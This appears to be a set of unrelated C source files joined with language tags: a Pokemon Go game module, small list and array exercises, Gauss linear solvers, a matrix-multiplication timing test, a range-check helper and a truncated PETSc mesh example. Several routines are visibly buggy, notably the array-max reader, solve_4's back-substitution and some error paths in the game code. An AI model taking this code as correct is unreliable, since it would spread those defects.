compareKeyElement); Map trainers = mapCreate(copyKeyString, trainerCopyForMain, freeMapKeyString, trainerDestroyForMain, compareKeyElement); Store store = storeCreate(); if (!pokedex || !evolutions || !world || !store || !trainers) { destroyBasicADTelements(pokedex, evolutions, world, trainers, store); free(PG); return NULL; } PG->pokedex = mapCopy(pokedex); PG->evolutions = mapCopy(evolutions); PG->world = mapCopy(world); PG->trainers = mapCopy(trainers); PG->store = storeCopy(store); if (!PG->pokedex || !PG->evolutions || !PG->world || !PG->store || !PG->trainers) { destroyGameADTS(PG); destroyBasicADTelements(pokedex, evolutions, world, trainers, store); return NULL; } destroyBasicADTelements(pokedex, evolutions, world, trainers, store); return PG; } /* * this function destroies all the inner pokemon go ADT all the pokemonGo ADT's like the pokodex, map, * trainers and store */ static void destroyBasicADTelements(Map pokedex, Map evolutions, Map world, Map trainers, Store store) { mapDestroy(pokedex); mapDestroy(evolutions); mapDestroy(world); mapDestroy(trainers); destroyStore(store); } /* * this function destories the POKEMONGO type */ PokemonGoResult destroyGameADTS(PokemonGo pokemonGo) { mapDestroy(pokemonGo->pokedex); mapDestroy(pokemonGo->evolutions); mapDestroy(pokemonGo->world); mapDestroy(pokemonGo->trainers); destroyStore(pokemonGo->store); free(pokemonGo); return POKEMONGO_HAS_DESTROYED; } /* * this function gets a pointer to the map in the PG by its name */ Store pokemonGoGetPtrByStrStore(PokemonGo PG, char* str) { if (!PG || !str) return NULL; return PG->store; } Map pokemonGoGetPtrByStr(PokemonGo PG, char* str) { if (!PG || !str) return NULL; if (strcmp(str, "pokedex") == 0) return (PG->pokedex); else if (strcmp(str, "evolutions") == 0) return (PG->evolutions); else if (strcmp(str, "world") == 0) return (PG->world); else if (strcmp(str, "trainers") == 0) return (PG->trainers); else return NULL; } /* * this is No.1 function * it adds a trainer to the game */ bool trainerAdd(PokemonGo PG, char* name, int budget, char* start_point, FILE* output_f) { if (budget < 0) { mtmPrintErrorMessage(stderr, MTM_INVALID_ARGUMENT); return false; } if (mapContains(PG->trainers, name)) { mtmPrintErrorMessage(stderr, MTM_TRAINER_NAME_ALREADY_EXISTS); return false; } if (!mapContains(PG->world, start_point)) { mtmPrintErrorMessage(stderr, MTM_LOCATION_DOES_NOT_EXIST); return false; } Trainer trainer = trainerCreate(name, start_point, budget); if (!trainer) return false; Location loc = mapGet(PG->world, start_point); Pokemon poc = locationGetFirstPokemon(loc); if (!huntPokemon(loc, poc, trainer)) { mtmPrintCatchResult(output_f, name, NULL, start_point); mapPut(PG->trainers, name, trainer); destroyTrainer(trainer); return false; } mtmPrintCatchResult(output_f, name, pokemonGetName(poc), start_point); locationRemovePokemon(loc, poc); mapPut(PG->trainers, name, trainer); destroyTrainer(trainer); return true; } /* * this is No.2 function * it sends the trainer to a different location in the world game */ bool trainerGo(PokemonGo PG, char* name, char* location_name, FILE* output_f) { if (!mapContains(PG->trainers, name)) { mtmPrintErrorMessage(stderr, MTM_TRAINER_DOES_NOT_EXIST); return false; } if (!mapContains(PG->world, location_name)) { mtmPrintErrorMessage(stderr, MTM_LOCATION_DOES_NOT_EXIST); return false; } Trainer trainer = mapGet(PG->trainers, name); char* trainer_loc_name = trainerGetLocation(trainer); if (strcmp(trainer_loc_name, location_name) == 0) { mtmPrintErrorMessage(stderr, MTM_TRAINER_ALREADY_IN_LOCATION); return false; } Location locTrainer = mapGet(PG->world, trainer_loc_name); Location locDestination = mapGet(PG->world, location_name); if (!locationIsNearMe(locTrainer, locDestination)) { mtmPrintErrorMessage(stderr, MTM_LOCATION_IS_NOT_REACHABLE); return false; } Pokemon poc = locationGetFirstPokemon(locDestination); if (!poc) { trainerChangeLocation(trainer, location_name); mtmPrintCatchResult(output_f, name, NULL, location_name); return false; } if (!huntPokemon(locDestination, poc, trainer)) return false; trainerChangeLocation(trainer, location_name); mtmPrintCatchResult(output_f, name, pokemonGetName(poc), location_name); locationRemovePokemon(locDestination, poc); return true; } /* * this function hunts pokemon for a trainer at his location */ static bool huntPokemon(Location loc, Pokemon poc, Trainer trainer) { if (!pokemonIsAbleToBeHunted(poc)) { return false; } trainerAddPokemon(trainer, poc); int pokecoin = pokemonIsTypeSpecial(poc); trainerChangeMoney(trainer, pokecoin); return true; } /* * this is No.3 function * it adds an item to the game store */ PokemonGoResult storeAddItem(PokemonGo PG, char* item, int value, int quantity) { if ((strcmp(item, "potion") != 0 && strcmp(item, "candy") != 0) || value <= 0 || quantity <= 0) { mtmPrintErrorMessage(stderr, MTM_INVALID_ARGUMENT); return POKEMONGO_NULL_ARGUMENT; } storeAdd(PG->store, item, value, quantity); return POKEMONGO_SUCCESS; } /* * this is No.4 function * it makes a trainer purchase an item from the store * it can be potion or candy */ PokemonGoResult trainerPurchase(PokemonGo PG, char* name_trainer, char* item, int value) { if ((strcmp(item, "potion") != 0 && strcmp(item, "candy") != 0) || value <= 0) { mtmPrintErrorMessage(stderr, MTM_INVALID_ARGUMENT); return POKEMONGO_NULL_ARGUMENT; } Trainer trainer = mapGet(PG->trainers, name_trainer); if (!trainer) { mtmPrintErrorMessage(stderr, MTM_TRAINER_DOES_NOT_EXIST); return POKEMONGO_TRAINER_DOES_NOT_EXIST; } int quantity = storeGetQuantityByKey(PG->store, item, value); if (quantity == -1) { mtmPrintErrorMessage(stderr, MTM_ITEM_OUT_OF_STOCK); return POKEMONGO_ITEM_OUT_OF_STOCK; } int money_trainer = trainerGetMoney(trainer); int money_value = value; if (strcmp(item, "candy") == 0) { money_value = value * 2; } if (money_trainer < money_value) { mtmPrintErrorMessage(stderr, MTM_BUDGET_IS_NOT_SUFFICIENT); return POKEMONGO_TRAINER_OUT_OF_MONEY; } changeQuantityFromStoreBuy(PG->store, item, value); trainerUpdatePurchase(trainer, money_value, value, item); return POKEMONGO_SUCCESS; } /* * this is No.5 function * it makes a battel between 2 pokemon trainers and theirs pokemons */ PokemonGoResult battleFight(PokemonGo PG, char* trainer1_name, char* trainer2_name, int id1, int id2, FILE* file_o) { bool is_pokemon1_dead = false, is_pokemon2_dead = false; if (strcmp(trainer1_name, trainer2_name) == 0) { mtmPrintErrorMessage(stderr, MTM_INVALID_ARGUMENT); return POKEMONGO_NULL_ARGUMENT; } Trainer trainer1 = mapGet(PG->trainers, trainer1_name); Trainer trainer2 = mapGet(PG->trainers, trainer2_name); if (!trainer1 || !trainer2) { mtmPrintErrorMessage(stderr, MTM_TRAINER_DOES_NOT_EXIST); return POKEMONGO_TRAINER_DOES_NOT_EXIST; } Pokemon poke1 = getPokemonByIDFromTrainer(trainer1, id1); Pokemon poke2 = getPokemonByIDFromTrainer(trainer2, id2); if (!poke1 || !poke2) { mtmPrintErrorMessage(stderr, MTM_POKEMON_DOES_NOT_EXIST); return POKEMONGO_POKEMON_DOES_NOT_EXIST; } Pokemon pok1_old = pokemonCopy(poke1); if (!pok1_old) { mtmPrintErrorMessage(stderr, MTM_OUT_OF_MEMORY); return POKEMONGO_OUT_OF_MEMORY; } Pokemon pok2_old = pokemonCopy(poke2); if (!pok2_old) { free(pok2_old); mtmPrintErrorMessage(stderr, MTM_OUT_OF_MEMORY); return POKEMONGO_OUT_OF_MEMORY; } double xp1_old = *(trainerGetXPbyReference(trainer1)); double xp2_old = *(trainerGetXPbyReference(trainer2)); double hold1 = pokemonCurrHP(poke1), hold2 = pokemonCurrHP(poke2); pokemonAfterATotalFight(poke1, poke2, trainerGetXPbyReference(trainer1), trainerGetXPbyReference(trainer2)); double hp1 = pokemonCurrHP(poke1); if (hp1 <= 0) { trainerRemovePokemon(trainer1, poke1); is_pokemon1_dead = true; } double hp2 = pokemonCurrHP(poke2); if (hp2 <= 0) { trainerRemovePokemon(trainer2, poke2); is_pokemon2_dead = true; } while (PokemonEvolution(poke1, PG)) ; while (PokemonEvolution(poke2, PG)) ; mtmPrintBattle(file_o, trainer1_name, trainer2_name, pokemonGetName(pok1_old), pokemonGetName(pok2_old), pokemonGetCP(pok1_old), pokemonGetCP(pok2_old), hold1, hold2, hp1, hp2, pokemonGetLevel(pok1_old), pokemonGetLevel(pok2_old), pokemonGetLevel(poke1), pokemonGetLevel(poke2), xp1_old, xp2_old, *(trainerGetXPbyReference(trainer1)), *(trainerGetXPbyReference(trainer2)), is_pokemon1_dead, is_pokemon2_dead); pokemonDestroy(pok1_old); pokemonDestroy(pok2_old); return POKEMONGO_SUCCESS; } /* * this function makes a pokemon envolved by its level */ static bool PokemonEvolution(Pokemon pokemon, PokemonGo PG) { if (!pokemon || !PG->pokedex || !PG->evolutions) return false; char* pokemon_name = pokemonGetName(pokemon); int pokemon_level = pokemonGetLevel(pokemon); Evolutions evo = mapGet(PG->evolutions, pokemon_name); int lvl = evolutionsGetLevel(evo); if (lvl == -1) return false; if (pokemon_level >= lvl) { char* name_after = evolutionGetNewName(evo); if (!name_after) return false; int cp = pokedexGetCP(PG, name_after); if (cp == -1) return false; char* type_after = pokedexGetNewType(PG, name_after); pokemonUpdateAfterEvolution(pokemon, cp, name_after, type_after); return true; } return false; } /* * this function returns the pokemon cp according to the pokodex */ static int pokedexGetCP(PokemonGo PG, char* name) { if (!PG->pokedex || !name) return -1; Pokemon poke = mapGet(PG->pokedex, name); if (!poke) return -1; return pokemonGetCP(poke); } /* * this function returns the pokemon new type according to the pokodex */ static char* pokedexGetNewType(PokemonGo PG, char* name) { if (!PG->pokedex || !name) return NULL; Pokemon poke = mapGet(PG->pokedex, name); if (!poke) return NULL; return pokemonGetTypes(poke); } /* * this is No.6 function * it heals a pokemon by a trainer potion using the * lowest potion that can get the pokemon to 100 HP * oter wise uses the highest one */ PokemonGoResult pokemonHeal(PokemonGo PG, char* trainer_name, int id) { if (!PG->trainers || !trainer_name) return POKEMONGO_NULL_ARGUMENT; Trainer trainer = mapGet(PG->trainers, trainer_name); if (!trainer) { mtmPrintErrorMessage(stderr, MTM_TRAINER_DOES_NOT_EXIST); return POKEMONGO_TRAINER_DOES_NOT_EXIST; } Pokemon poke = getPokemonByIDFromTrainer(trainer, id); if (!poke) { mtmPrintErrorMessage(stderr, MTM_POKEMON_DOES_NOT_EXIST); return POKEMONGO_POKEMON_DOES_NOT_EXIST; } if (trainerGetPotionSize(trainer) < 1) { mtmPrintErrorMessage(stderr, MTM_NO_AVAILABLE_ITEM_FOUND); return POKEMONGO_NO_AVAILABLE_ITEM_FOUND; } if (pokemonCurrHP(poke) >= 100) { mtmPrintErrorMessage(stderr, MTM_HP_IS_AT_MAX); return POKEMONGO_HP_IS_AT_MAX; } double delta = MAX_HP - pokemonCurrHP(poke); Store store = trainerGetItems(trainer); if (!store) return POKEMONGO_OUT_OF_MEMORY; int key; if (storeFindMinToMaxHp(store, delta)) { pokemonGetPotion(poke, delta); } else { key = storeGetMaxOutOfItem(store, "potion"); pokemonGetPotion(poke, key); changeQuantityFromStoreBuy(store, "potion", key); } return POKEMONGO_SUCCESS; } /* * this is No.7 function * it train a pokemon using candy - and updates the pokemon cp */ PokemonGoResult pokemonTrain(PokemonGo PG, char* trainer_name, int pokemon_id) { if (!PG->trainers || !trainer_name) return POKEMONGO_NULL_ARGUMENT; Trainer trainer = mapGet(PG->trainers, trainer_name); if (!trainer) { mtmPrintErrorMessage(stderr, MTM_TRAINER_DOES_NOT_EXIST); return POKEMONGO_OUT_OF_MEMORY; } Pokemon poke = getPokemonByIDFromTrainer(trainer, pokemon_id); if (!poke) { mtmPrintErrorMessage(stderr, MTM_POKEMON_DOES_NOT_EXIST); return POKEMONGO_OUT_OF_MEMORY; } if (trainerGetCandySize(trainer) < 1) { mtmPrintErrorMessage(stderr, MTM_NO_AVAILABLE_ITEM_FOUND); return POKEMONGO_NO_AVAILABLE_ITEM_FOUND; } Store store = trainerGetItems(trainer); if (!store) return POKEMONGO_ITEM_OUT_OF_STOCK; int key = storeGetMaxOutOfItem(store, "candy"); pokemonGetCandy(poke, key); changeQuantityFromStoreBuy(store, "candy", key); return POKEMONGO_SUCCESS; } /* * this is No.8 function * it prints all the trainer details */ PokemonGoResult reportTrainer(PokemonGo PG, char* trainer_name, FILE* output_f) { if (!PG->trainers || !trainer_name) return POKEMONGO_NULL_ARGUMENT; Trainer trainer = mapGet(PG->trainers, trainer_name); if (!trainer) { mtmPrintErrorMessage(stderr, MTM_TRAINER_DOES_NOT_EXIST); return POKEMONGO_TRAINER_DOES_NOT_EXIST; } trainerPrint(trainer, output_f); return POKEMONGO_SUCCESS; } /* * this is No.9 function * it prints all the world details */ PokemonGoResult reportLocations(PokemonGo PG, FILE* output_f) { if (!PG->world || !output_f) return POKEMONGO_NULL_ARGUMENT; mtmPrintLocationsHeader(output_f); char* location_name = mapGetFirst(PG->world); if (!location_name) return POKEMONGO_LOCATION_NO_TO_BE_FOUND; Location location = mapGet(PG->world, location_name); if (!location) return POKEMONGO_LOCATION_NO_TO_BE_FOUND; while (location_name != NULL || location != NULL) { locationPrint(location, output_f); location_name = mapGetNext(PG->world); location = mapGet(PG->world, location_name); } return POKEMONGO_SUCCESS; } /* * this is No.10 function * it prints all the store details */ PokemonGoResult reportStock(PokemonGo PG, FILE* output_f) { if (!PG->store || !output_f) return POKEMONGO_NULL_ARGUMENT; mtmPrintStockHeader(output_f); storePrint(PG->store, output_f); return POKEMONGO_SUCCESS; }
C
struct elemento { int inf; struct elemento *pun; }; struct elemento *creaLista2(); void visualizzaLista(struct elemento *); void contaPari(struct elemento *, int *, int *); int contaPari2(struct elemento *, int *); int main() { int pari, dispari; struct elemento *puntLista; puntLista = creaLista2(); visualizzaLista(puntLista); /* chiamata prima versione di conta pari */ contaPari(puntLista, &pari, &dispari); printf("\nPari: %d Dispari: %d", pari, dispari); /* chiamata seconda versione di conta pari */ printf("\nPari: %d", contaPari2(puntLista, &dispari)); printf(" Dispari: %d\n", dispari); } void contaPari(struct elemento *p, int *ppari, int *pdispari) { *ppari = *pdispari = 0; while(p!=NULL) { if(p->inf % 2 == 0) (*ppari)++; else (*pdispari)++; p = p->pun; } } contaPari2(struct elemento *p, int *pdispari) { int pari = 0; *pdispari = 0; while(p!=NULL) { if(p->inf % 2 ==0) pari++; else (*pdispari)++; p = p->pun; } return(pari); }
C
#include<stdio.h> int max( int k[]); int main( void){ int i,k[100],m,x; printf("Enter the number of elements:"); scanf("%d",&x); printf("Enter the elemets:"); for(i=0;i<5;i++) { scanf("%d",&k[i]); } m=max(k); printf(" The largest element is:%d\n",m); return 0; } int max ( int k[]) { int n,i; n=k[0]; for(i=0;i<5;i++) if(n<k[i]) n=k[i]; return n; }
C
/*************************************************************************** * solve.c * * This file pertains solvers for linear systems of the form AX = F. * A number of different solvers will be provided in the future. * * solve_1: dit is een zeer twijfelachtig geheel... * Gauss equation solver for systems of the type AX = F. Backsubstitution * is applied and singularities are reported when nescessary. The solver * will abort to operating system level when no solution can be computed * because results will then be nonsense. * * solve_2: solve_4, maar dan zonder partial pivoting, voor zeer grote systemen * * solve_3: * Gauss-Seidel Iteration solver (Kreyszig p. 812) * * solve_4: * Solve 2, maar dan aangepast om de fouten te corrigeren! VOOR CONTACT! * * solve_gauss: standard gauss solver * * Copyright (c) 1992 Mark Peerdeman, Douwe Overdijk * * STATUS: GREEN **************************************************************************/ #include <globals.h> #include <solve.h> #include <m_io.h> #include <imatrices.h> #include <matrix.h> #define TOL 1.0e-90 /* macro adaption for array item 0: */ #undef M #undef V #define M(mx,therow,thecol) (mx->matrix[therow][thecol]) #define V(vector,therow) (vector->data[therow]) int tcurpos; extern int p,q; void tijdvalkje(const int deKnoop,const matrix A) { /* deze functie tekent een nifty tijdvalkje om te kunnen zien of de * de software nog ergens mee bezig is... */ float fraction; int pos, pos2; if (deKnoop==0) /* teken het tijdvalkje */ { /* lengte van de lijn is 65 */ fprintf(stderr,"\n* Running the solver...\n"); fprintf(stderr,"=================================================================\n"); tcurpos = 0; } else if (deKnoop==-1) /* maak het tijdvalkje af */ { fprintf(stderr,"\n=================================================================\n\n"); } else /* teken het percentage */ { fraction = (float)((float)deKnoop/(float)A->rows); fraction = (float)sqrt((double)fraction); pos = (int)((fraction)*(float)65.0); if (pos>tcurpos) { pos2 = 0; while (pos2<pos) { fprintf(stderr,">"); pos2++; } fprintf(stderr,"\r"); } tcurpos=pos; } } /* tijdvalkje */ double Delta(const int i, const int j) { /* Kronecker Delta */ if (i==j) return 1.0; else return 0.0; } void check_dimensions(const matrix A,const vector F) { if( (A->rows!=A->cols) || (A->rows!=F->rows) ) { evaluate_level(RED,30); } fprintf(stderr,"Matrix size: %ld, %ld\n",(long)A->cols,(long)A->rows); } /* check_dimensions */ void solve_4(matrix Ma, int m, int n,const vector F,intvector nietnul) { int a,i,j,k,l; double c,tmp; double fabsc, fabsM; vector derij; int tel1, tel2, tel3, tel4; matrix hulpma; vector hulpve; evaluate_level(GREEN,38); check_dimensions(Ma, F); derij=(vector)newvector(m+n); /* First we sweep the upper part of the matrix */ /* into an upper triangular matrix */ for (k=0; k<m; k++) { fprintf(stderr, "processing row: %ld\n", (long)m); /* divide row by diagonal coefficient: */ c = M(Ma,k,k); l=k; /* find largest coefficient for elimination: */ for (i=k; i<m; i++) { fabsc=fabs(c); fabsM=fabs(M(Ma,i,k)); /* if (fabs(M(A,m,k))>=fabs(c)) */ if (fabsM>=fabsc) { c = M(Ma,i,k); l = i; } } /* if (fabs(c)<=TOL) evaluate_level(RED,33); */ /* change rows if nescessary: */ if (k!=l) { tmp = V(F,l); V(F,l) = V(F,k); V(F,k) = tmp; for (j=k; j<m+n; j++) { if (j<m) { tmp = M(Ma,l,j); M(Ma,l,j)=M(Ma,k,j); M(Ma,k,j)=tmp; } else if (V(nietnul,j)!=0) { tmp = M(Ma,l,m+V(nietnul,j)-1); M(Ma,l,m+V(nietnul,j)-1)=M(Ma,k,m+V(nietnul,j)-1); M(Ma,k,m+V(nietnul,j)-1) = tmp; } } } /* divide current row by diagonal coefficient: */ M(Ma,k,k)=1.0; V(F,k) = V(F,k) / c; for (j=k+1; j<m+n; j++) { if (j<m) M(Ma,k,j) = M(Ma,k,j) / c; else if (V(nietnul,j)!=0) M(Ma,k,m+V(nietnul,i)-1)=M(Ma,k,m+V(nietnul,j)-1)/c; } /* divide remaining rows by diagonal coefficient and eliminate: */ for (i=k+1; i<m; i++) { c = M(Ma,i,k); M(Ma,i,k)=0.0; V(F,i)=V(F,i)-c*V(F,k); for (j=k+1; j<m+n; j++) { if (j<m) { M(Ma,i,j)=M(Ma,i,j)-c*M(Ma,k,j); } else if (V(nietnul,j)!=0) { M(Ma,i,m+V(nietnul,j)-1) = M(Ma,i,m+V(nietnul,j)-1) - c*M(Ma,i,m+V(nietnul,j)-1); } } } /* tijdvalkje(k+2,A); */ } /* We now sweep the lower part of the matrix */ /* into a lower triangular matrix */ for (k=m+n-1; k>=m; k--) { /* divide row by diagonal coefficient: */ c = M(Ma,k,k); l=k; /* find largest coefficient for elimination: */ for (i=k; i>=m; i--) { fabsc=fabs(c); fabsM=fabs(M(Ma,i,k)); /* if (fabs(M(A,m,k))>=fabs(c)) */ if (fabsM>=fabsc) { c = M(Ma,i,k); l = m; } } /* if (fabs(c)<=TOL) evaluate_level(RED,33); */ /* change rows if nescessary: */ if (k!=l) { tmp = V(F,l); V(F,l) = V(F,k); V(F,k) = tmp; for (j=k; j>=0; j--) { if (j>=m) { tmp = M(Ma,l,j); M(Ma,l,j)=M(Ma,k,j); M(Ma,k,j)=tmp; } else if (V(nietnul,j)!=0) { a=m-p+V(nietnul,j)-1; tmp = M(Ma,l,a); M(Ma,l,a)=M(Ma,k,a); M(Ma,k,a) = tmp; } } } /* divide current row by diagonal coefficient: */ M(Ma,k,k)=1.0; V(F,k) = V(F,k) / c; for (j=k-1; j>=0; j--) { if (j>=m) M(Ma,k,j) = M(Ma,k,j) / c; else if (V(nietnul,j)!=0) M(Ma,k,m-p+V(nietnul,j)-1)=M(Ma,k,m-p+V(nietnul,j)-1)/c; } /* divide remaining rows by diagonal coefficient and eliminate: */ for (i=k-1; i>=m; i--) { c = M(Ma,i,k); M(Ma,i,k)=0.0; V(F,i)=V(F,i)-c*V(F,k); for (j=k-1; j>=0; j--) { if (j>=m) { M(Ma,i,j)=M(Ma,i,j)-c*M(Ma,k,j); } else if (V(nietnul,j)!=0) { M(Ma,i,m-p+V(nietnul,j)-1) = M(Ma,i,m-p+V(nietnul,i)-1) - c*M(Ma,i,m-p+V(nietnul,i)-1); } } } /* tijdvalkje(k+2,A); */ } /* We are now left with an upper triangular matrix and a lower triangular matrix */ /* We now try to find an approximation for the variables corresponding to the */ /* non-zero colums */ hulpma=(matrix)newmatrix(p+q,p+q); hulpve=(vector)newvector(p+q); /* We now fill the additional small matrix with the right elements */ tel1=0; for (i=0; i<m+n; i++) if (V(nietnul,i)!=0) { V(hulpve,tel1)=V(F,i); tel2=0; for (j=0; j<m+n;j++) if (V(nietnul,j)!=0) { M(hulpma,tel1,tel2)=hetelement(m,i,j,nietnul,Ma); tel2++; } tel1++; } printmatrix(hulpma,"hulpmatrix"); printvector(hulpve,"hulpvector"); printf("No 4\n"); /* We now solve the small additonal matrix */ for (k=0; k<p+q; k++) { c=M(hulpma,k,k); M(hulpma,k,k)=1.0; V(hulpve,k) = V(hulpve,k) / c; for (j=k-1; j>=0; j--) M(hulpma,k,j)=M(Ma,k,j)/c; /* divide remaining rows by diagonal coefficient and eliminate: */ for (i=k+1; i<p+q; i++) { c = M(hulpma,i,k); M(hulpma,i,k)=0.0; V(hulpve,i)=V(hulpve,i)-c*V(hulpve,k); for (j=k+1; j<p+q; j++) M(hulpma,i,j)=M(hulpma,i,j)-c*M(hulpma,k,j); } } /* apply backsubstitution to compute the unknowns in hulpve */ for (i=p+q-2;i>=0;i--) { for (j=p+q-1;j>i;j--) { V(hulpve,i) = V(hulpve,i) - M(hulpma,i,j)*V(hulpve,i); } } /* We put the approximation into the vector F */ for (i=0; i<m+n; i++) { tel1=0; if (V(nietnul,i)!=0) { for (j=0; j<m+n; j++) if (V(nietnul,j)!=0) { V(F,i)=V(F,i)-hetelement(m,i,j,nietnul,Ma)*V(hulpve,tel1); tel1++; } } } /* Now we can solve the upper triangular matrix */ for (i=m-2;i>=0;i--) { for (j=m-1;j>i;j--) { V(F,i) = V(F,i) - M(Ma,i,j)*V(F,i); } } /* And then we solve the lower triangular matrix */ for (i=m+1;i<m+n;i++) { for (j=m;j<i;j++) { V(F,i) = V(F,i) - M(Ma,i,j)*V(F,i); } } /* tijdvalkje(-1,A); */ evaluate_level(GREEN,34); } /* solve_4 */ void frontsolver(matrix A, vector f, vector res) { int i,j,k; /* setup the elimination matrix: */ for (i=1; i<=A->rows; i++) { for (k=1; k<i; k++) { V(f,i)-=V(f,k)*M(A,i,k)/M(A,k,k); for (j=1; j<=A->rows; j++) { M(A,i,j)-=M(A,i,k)*M(A,k,j)/M(A,k,k); } } } /* perform the backsubstitution: */ for (i=A->rows; i>=1; i--) { V(res,i)=V(f,i)/M(A,i,i); for (k=A->rows; k>i; k--) { V(res,i)-=M(A,i,k)*V(res,k)/M(A,i,i); } } } /* frontsolver */ void solve_gauss(const matrix A,const vector F ) { int i,j,k,l,m,n = F->rows; double c,tmp; double fabsc, fabsM; evaluate_level(GREEN,38); tijdvalkje(0,A); check_dimensions(A, F); for (k=0; k<n; k++) { /* divide row by diagonal coefficient: */ c = M(A,k,k); l=k; /* find largest coefficient for elimination: */ for (m=k; m<n; m++) { fabsc=fabs(c); fabsM=fabs(M(A,m,k)); /* if (fabs(M(A,m,k))>=fabs(c)) */ if (fabsM>=fabsc) { c = M(A,m,k); l = m; } } /* if (fabs(c)<=TOL) evaluate_level(RED,33); */ /* change rows if nescessary: */ if (k!=l) { for (m=k; m<n; m++) { tmp = M(A,l,m); M(A,l,m) = M(A,k,m); M(A,k,m) = tmp; } tmp = V(F,l); V(F,l) = V(F,k); V(F,k) = tmp; } /* divide current row by diagonal coefficient: */ M(A,k,k)=1.0; V(F,k) = V(F,k) / c; for (i=k+1; i<n; i++) { M(A,k,i) = M(A,k,i) / c; } /* divide remaining rows by diagonal coefficient and eliminate: */ for (j=k+1; j<n; j++) { c = M(A,j,k); M(A,j,k)=0.0; V(F,j)=V(F,j)-c*V(F,k); for (i=k+1; i<n; i++) { M(A,j,i)=M(A,j,i)-c*M(A,k,i); } } tijdvalkje(k+2,A); } /* apply backsubstitution to compute the remaining unknowns: */ for (j=n-2; j>=0; j--) { for (i=n-1; i>j; i--) { V(F,j) = V(F,j) - M(A,j,i) * V(F,i); } } tijdvalkje(-1,A); evaluate_level(GREEN,34); } /* solve_gauss */ #undef M #undef V #define M(mx,therow,thecol) (mx->matrix[therow-1][thecol-1]) #define V(vector,therow) (vector->data[(therow-1)])
C
/* average.c: ָ */ #include <stdio.h> #define ARR_LEN 20 void printFloatArray( const float* array, int length ) { int i; for (i = 0; i < length; ++i) { printf( "%10.8f\t", array[i] ); if ((i + 1) % 5 == 0) printf( "\n" ); } } /* average()Ԫصƽֵ * Ա顢鳤 * ֵԪصƽֵdouble */ double average( const float* array, int length ) { double sum = 0.0; float* end = array + length; if (length <= 0) return 0.0; float* p = 0; for (p = array; p < end; ++p) sum += *p; return sum / length; } int main() { float array[ARR_LEN] = {0}; printf( "initial array:\n" ); printFloatArray( array, ARR_LEN ); int i; for (i = 0; i < ARR_LEN; ++i) { array[i] = i; } printf( "assigned array:\n" ); printFloatArray( array, ARR_LEN ); float ave_result = 0.0; ave_result = average( array, ARR_LEN ); printf( "average of array is: %10.8f\n", ave_result ); printf( "\n" ); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include "timing.c" #define N 1000 //Nhan ma tran kich thuoc lon int main(){ double** A = NULL; double** B = NULL; double** C = NULL; A = (double **)malloc(sizeof * A * N); B = (double **)malloc(sizeof * B * N); C = (double **)malloc(sizeof * C * N); #pragma region Cap phat bo nho va gan gia tri int i, j; for(i = 0; i < N; i++) { A[i] = (double *)malloc(sizeof * A[i] * N); B[i] = (double *)malloc(sizeof * B[i] * N); C[i] = (double *)malloc(sizeof * C[i] * N); for(j = 0; j < N; j++) { A[i][j] = 1; B[i][j] = 1; C[i][j] = 0; } } #pragma endregion double wc1, wc2, cpuT; double r = 0; int k = 0; timing(&wc1, &cpuT); for(i = 0; i < N; i++) { for(j = 0; j < N; j++) { r = 0; for(k = 0; k < N; k++) { r += A[i][k]*B[k][j]; } C[i][j] = r; } } timing(&wc2, &cpuT); printf("Execution time is %f (s)\n", wc2 - wc1); for(i = 0; i < N; i++) { for(j = 0; j < N; j++) { if(C[i][j] == 0) { printf("Wrong multiplication\n"); exit(1); } } } return 0; }
C
#include "../likely.h" #include "../rangecheck.h" #include "../safemult.h" /* does an array of "elements" members of size "membersize" starting at * "arraystart" lie inside buf1[0..len-1]? */ int range_arrayinbuf(const void* buf1, size_t len, const void* arraystart, size_t elements, size_t membersize) { size_t alen; if(sizeof(alen) == 8) { uint64 x; if(!umult64(elements, membersize, &x)) return 0; alen = x; } else { uint64 t = (uint64)elements * membersize; alen = t; /* this strips the upper 32 bits of t */ if(alen != t) return 0; /* if that changes something, we overflowed */ } return range_bufinbuf(buf1, len, arraystart, alen); }
C
static char help[] = "Create a Plex sphere from quads and create a P1 section\n\n"; #include <petscdmplex.h> typedef struct { PetscInt dim; /* Topological problem dimension */ PetscBool simplex; /* Mesh with simplices */ } AppCtx; static PetscErrorCode ProcessOptions(MPI_Comm comm, AppCtx *options) { PetscErrorCode ierr; PetscFunctionBeginUser; options->dim = 2; options->simplex = PETSC_FALSE; ierr = PetscOptionsBegin(comm, "", "Sphere Mesh Options", "DMPLEX");CHKERRQ(ierr); ierr = PetscOptionsRangeInt("-dim", "Problem dimension", "ex7.c", options->dim, &options->dim, NULL,1,3);CHKERRQ(ierr); ierr = PetscOptionsBool("-simplex", "Use simplices, or tensor product cells", "ex7.c", options->simplex, &options->simplex, NULL);CHKERRQ(ierr); ierr = PetscOptionsEnd(); PetscFunctionReturn(0); } static PetscErrorCode ProjectToUnitSphere(DM dm) { Vec coordinates; PetscScalar *coords; PetscInt Nv, v, dim, d; PetscErrorCode ierr; PetscFunctionBeginUser; ierr = DMGetCoordinatesLocal(dm, &coordinates);CHKERRQ(ierr); ierr = VecGetLocalSize(coordinates, &Nv);CHKERRQ(ierr); ierr = VecGetBlockSize(coordinates, &dim);CHKERRQ(ierr); Nv /= dim; ierr = VecGetArray(coordinates, &coords);CHKERRQ(ierr); for (v = 0; v < Nv; ++v) { PetscReal r = 0.0; for (d = 0; d < dim; ++d) r += PetscSqr(PetscRealPart(coords[v*dim+d])); r = PetscSqrtReal(r); for (d = 0; d < dim; ++d) coords[v*dim+d] /= r; } ierr = VecRestoreArray(coordinates, &coords);CHKERRQ(ierr); PetscFunctionReturn(0); } static PetscErrorCode SetupSection(DM dm) { PetscSection s; PetscInt vStart, vEnd, v; PetscErrorCode ierr; PetscFunctionBeginUser; ierr = DMPlexGetDepthStratum(dm, 0, &vStart, &vEnd);CHKERRQ(ierr); ierr = PetscSectionCreate(PetscObjectComm((PetscObject) dm), &s);CHKERRQ(ierr); ierr = PetscSectionSetNumFields(s, 1);CHKERRQ(ierr); ierr = PetscSectionSetFieldComponents(s, 0, 1);CHKERRQ(ierr); ierr = PetscSectionSetChart(s, vStart, vEnd);CHKERRQ(ierr); for (v = vStart; v < vEnd; ++v) { ierr = PetscSectionSetDof(s, v, 1);CHKERRQ(ierr); ierr = PetscSectionSetFieldDof(s, v, 0, 1);CHKERRQ(ierr); } ierr = PetscSectionSetUp(s);CHKERRQ(ierr); ierr = DMSetSection(dm, s);CHKERRQ(ierr); ierr = PetscSectionDestroy(&s);CHKERRQ(ierr); PetscFunctionReturn(0); } int main(int argc, char **argv) { DM dm; Vec u; AppCtx ctx; PetscErrorCode ierr; ierr = PetscInitialize(&argc, &argv, NULL,help);if (ierr) return 